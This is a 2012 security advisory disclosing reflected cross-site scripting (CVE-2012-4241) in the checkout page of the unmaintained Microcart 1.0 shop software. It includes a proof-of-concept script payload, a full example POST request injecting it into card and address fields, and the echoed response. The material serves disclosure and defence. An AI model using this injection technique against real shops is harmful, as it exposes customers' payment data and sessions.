Microcart 1.0 Checkout Cross Site Scripting

`/-------------------------------------------------------------------\  
| Microcart 1.0 Checkout Cross-Site Scripting Security Vulnerability |  
\-------------------------------------------------------------------/  
  
  
Summary  
=======  
  
Microcart 1.0 is subject to several cross-site scripting vulnerabilities. Multiple POST parameters on the /checkout.php page were found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into a POST request. This code is then passed into the page content without sanitisation, and executed by the browser. The following parameters are affected: first_name, last_name, cc, exp, cvv, address1, address2, city, state, zip, phone and email. Injecting the following Javascript code into any of the affected parameters on the /checkout.php page will trigger the vulnerability, causing the page to return a Javascript alert box.  
  
CVE number: CVE-2012-4241  
Impact: Medium  
Vendor homepage: http://microcart.sourceforge.net/  
Vendor notified: 23/07/2012  
Vendor resonse: This package is no longer being maintained and has subsequently been removed from sourceforge.net  
Credit: Chris Cooper and Joseph Sheridan of ReactionIS (http://www.reactionis.co.uk/)  
  
This advisory is posted at:  
  
http://www.reactionpenetrationtesting.co.uk/microcart-checkout-xss.html  
  
  
Affected Products  
======== ========  
  
Microcart 1.0.  
  
  
Details  
=======  
  
  
  
/checkout.php  
-------------  
  
Multiple POST parameters on the /checkout.php page were found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into a POST request. This code is then passed into the page content without sanitisation, and executed by the browser. The following parameters are affected:  
first_name, last_name, cc, exp, cvv, address1, address2, city, state, zip, phone, email  
  
Injecting the following Javascript code into any of the affected parameters on the /checkout.php page will trigger the vulnerability, causing the page to return a Javascript alert box.  
  
<script>alert('xsstest')</script>  
  
Example Request:  
  
POST /microcart/checkout.php HTTP/1.1  
Host: 192.168.0.6  
Referer: https://192.168.0.6/microcart/checkout.php  
Cookie: PHPSESSID=2df3a1bb0sh1eka0nbte6u59e7  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 503  
  
order_confirm=true&first_name=<script>alert('xsstest')</script>&last_name=<script>alert('xsstest')</script>&cc=<script>alert('xsstest')</script>&exp=<script>alert('xsstest')</script>&cvv=<script>alert('xsstest')</script>&address1=<script>alert('xsstest')</script>&address2=<script>alert('xsstest')</script>&city=<script>alert('xsstest')</script>&state=<script>alert('xsstest')</script>&zip=<script>alert('xsstest')</script>&phone=<script>alert('xsstest')</script>&email=<script>alert('xsstest')</script>  
  
Example Response:  
  
--- SNIP ---  
<tr>  
<th>First Name:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>Last Name:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<th>Credit Card Number:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>Exp. Date (MMYY):</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>CVV2/CVC2 Number:<br />(Security code on back)</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
</table>  
</td><td>  
<table>  
<tr>  
<th>Street Number:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>Address:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>City:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>State:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>ZIP Code:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>Phone Number:</th>  
<td><span style="color:red">Invalid entry.</span> <script>alert('xsstest')</script></td>  
</tr>  
<tr>  
<th>Email Address:</th>  
<td><input type="hidden" name="email" value="<script>alert('xsstest')</script>" /><script>alert('xsstest')</script></td>  
</tr>  
--- SNIP ---  
  
  
  
  
Impact  
======  
  
An attacker might entice users to follow a malicious URL, or visit a malicious page that submits arbitrary code to a Microcart application. If they do so, Javascript code might execute in their browser, potentially stealing session cookies or downloading malware onto their machine.  
  
  
Solution  
========  
  
The affected product is not under active development and, at the time of writing, no patch has been released by the vendor.  
  
  
Distribution  
============  
  
In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.  
  
* bugtraq () securityfocus com  
* full-disclosure () lists grok org uk  
  
Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates:  
  
  
http://www.reactionpenetrationtesting.co.uk/microcart-checkout-xss.html  
  
==============================================================================  
  
Reaction Information Security   
Lombard House Business Centre,  
Suite 117,  
12-17 Upper Bridge Street,  
Canterbury, Kent, CT1 2NF  
  
Phone: +44 (0)1227 785050  
Email: research () reactionis {dot} co {dot} uk  
Web: http://www.reactionpenetrationtesting.co.uk  
  
  
Joseph Sheridan  
Director  
CHECK Team Leader, CREST Infrastructure, CREST Application, CISSP  
Tel: 07812052515  
Web: www.reactionis.com  
Email: [email protected]  
  
Reaction Information Security Limited.  
Registered in England No: 6929383  
Registered Office: 1, The Mews, 69 New Dover Road, Canterbury, CT1 3DZ  
  
This email and any files transmitted with it are confidential and are intended solely for the use of the individual to whom they are addressed. If you are not the intended recipient please notify the sender. Any unauthorised dissemination or copying of this email or its attachments and any use or disclosure of any information contained in them, is strictly prohibited.  
  
 Please consider the environment before printing this email  
  
  
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